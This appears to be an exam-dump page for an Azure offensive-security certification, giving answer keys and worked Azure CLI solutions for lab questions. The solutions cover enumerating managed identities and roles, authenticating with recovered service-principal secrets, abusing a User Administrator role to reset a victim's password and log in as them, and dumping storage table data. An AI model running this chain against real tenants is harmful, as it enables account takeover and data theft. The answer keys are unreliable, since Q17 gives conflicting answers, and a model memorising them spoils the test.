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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Privilege Escalation | 25% | - Entra ID role and permission abuse - Service Principal and App Registration attacks - Managed Identity exploitation - Key Vault and secret management misconfigurations |
| Topic 2: Lateral Movement & Tenant Compromise | 20% | - Cross-resource and subscription hopping - Hybrid identity and on-prem integration abuse - API and Azure management endpoint exploitation - Compute, storage, and network pivoting |
| Topic 3: Post-Exploitation & Persistence | 15% | - Maintaining persistent access - Full attack chain demonstration - Data collection and exfiltration techniques - Defense evasion in Azure environment |
| Topic 4: Reconnaissance & Enumeration | 20% | - Entra ID (Azure AD) enumeration - DNS, endpoints, and exposed services mapping - Azure tenant and domain enumeration - Azure resource discovery |
| Topic 5: Initial Access | 20% | - Exposed secrets and configuration flaws - Consent phishing and application abuse - Token and session abuse - Password spraying and credential stuffing |
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NEW QUESTION # 17
Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity. Which of the following roles is assigned to the Web App's Security Principal?
Answer: B
Explanation:
Detailed Solution:
First identify the managed identity attached to the Web App.
az webapp identity show \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
You should see a user-assigned managed identity similar to:
{
" userAssignedIdentities " : {
" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers
/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {
" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,
" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "
}
}
}
Now query the role assignments for the managed identity's principal ID:
az role assignment list \
--assignee efe89e83-010f-42f6-9576-30531fa47af7 \
--all \
--output table
The returned custom role is:
AppService-Auditor
That makes option D correct.
Final answer:
D). AppService-Auditor
NEW QUESTION # 18
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Answer: A
Explanation:
Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u ' < client-id > ' \
-p ' < client-secret > ' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee ' < client-id > ' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id ' < client-id > ' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User
NEW QUESTION # 19
The App Service has a system-assigned managed identity enabled. Identify the managed identity principal ID.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Expected output:
{
" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" type " : " SystemAssigned "
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.
NEW QUESTION # 20
You have been given a breached Azure user credential for an authorized lab tenant:
james.ward@cloudcorpsec.onmicrosoft.com
After logging in, identify the Azure Tenant ID and Subscription ID associated with the account.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > ' Show the active Azure context:
az account show --output json
Expected relevant output:
{
" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,
" name " : " CloudCorp Security Lab " ,
" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.
NEW QUESTION # 21
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
NEW QUESTION # 22
......
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